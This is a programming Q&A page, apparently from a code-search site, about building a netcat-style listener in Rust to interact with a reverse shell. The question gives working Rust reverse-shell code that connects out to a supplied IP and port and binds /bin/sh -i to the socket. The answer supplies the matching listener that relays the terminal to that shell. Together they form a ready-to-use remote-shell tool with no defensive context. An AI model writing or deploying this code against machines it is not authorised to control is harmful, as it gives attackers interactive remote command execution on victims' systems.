Search code examples
socketstcprustnetcatreverse-shell

How to interact with a reverse shell in Rust?


OpenBSD's Netcat implementation listens on a port with unix_bind()... basically the same behavior as Rust's TcpListener::bind(). Where I got lost in writing my listen function (emulating nc -l -p <port>) is how to interact with reverse shells.

As seemingly trivial as it sounds, I want listen to give me the sh-3.2$ prompt like nc -l -p <port> does. All the Netcat-Rust implementations I dug up online don't allow me to interact with reverse shells like that.

Reverse shell code (Machine 1): (adapted from this question I asked years ago)

fn reverse_shell(ip: &str, port: &str) {
    let s = TcpStream::connect((ip, port)).unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn().unwrap().wait().unwrap();
}

Listening code (Machine 2):

fn listen(port: u16) {
   let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
   let (mut stream, _) = x.accept().unwrap();
   // How do I interact with the shell now??
}

There's a certain simplicity and elegance to Rust code that helps me understand succinctly what's going on, which is why I don't want to just copy the C code from Netcat.


Solution

  • Basically, we want to have two bi-directional redirections - one from stdin to the stream, and the other from stream to stdout.

    We can accomplish this using the generic pipe_thread function below, which creates a dedicated OS thread for this (can be done more efficiently, but we want simplicity). In listen, we spawn two threads like this, and wait for them to terminate.

    fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
    where R: std::io::Read + Send + 'static,
          W: std::io::Write + Send + 'static
    {
        std::thread::spawn(move || {
            let mut buffer = [0; 1024];
            loop {
                let len = r.read(&mut buffer).unwrap();
                if len == 0 {
                    break;
                }
                w.write(&buffer[..len]).unwrap();
                w.flush().unwrap();
            }
        })
    }
    
    fn listen(port: u16) {
       let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
       let (mut stream, _) = x.accept().unwrap();
       let t1 = pipe_thread(std::io::stdin(), stream.try_clone().unwrap());
       let t2 = pipe_thread(stream, std::io::stdout());
       t1.join();
       t2.join();
    }